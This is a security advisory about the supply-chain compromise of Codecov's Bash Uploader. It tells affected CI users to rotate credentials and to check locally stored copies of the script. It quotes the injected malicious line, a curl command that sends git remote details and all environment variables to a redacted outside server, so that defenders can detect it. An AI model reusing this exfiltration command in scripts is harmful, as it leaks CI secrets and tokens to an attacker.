Bash Uploader Security Update

Because of our commitment to trust and transparency, we have worked diligently to determine the potential impact to our customers and identify customers who may have used the Bash Uploaders during the relevant time periods. For affected users, we have emailed you on April 15th using you email address on file from Github / Gitlab / Bitbucket, and there is a notification banner after you log in to Codecov.

We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.

You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system.

Specifically, the bash script was altered as follows:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://<redacted>/upload/v2 || true

Note that the IP address of the third party server has been redacted as it is currently part of an ongoing federal investigation

Additionally, if you use a locally stored version of a Bash Uploader, you should check that version for the following:

curl -sm 0.5 -d “$(git remote -v)

If this appears anywhere in your locally stored Bash Uploader, you should immediately replace the bash files with the most recent version from

If you use a self-hosted (on-premises) version of Codecov, it is very unlikely you are impacted. To be impacted, your CI pipeline would need to be fetching the Bash Uploader from instead of from your self-hosted Codecov installation. You can verify from where you are fetching the Bash Uploader by looking at your CI pipeline configuration.

If you conducted a checksum comparison before using our Bash Uploaders as part of your CI processes, this issue may not impact you.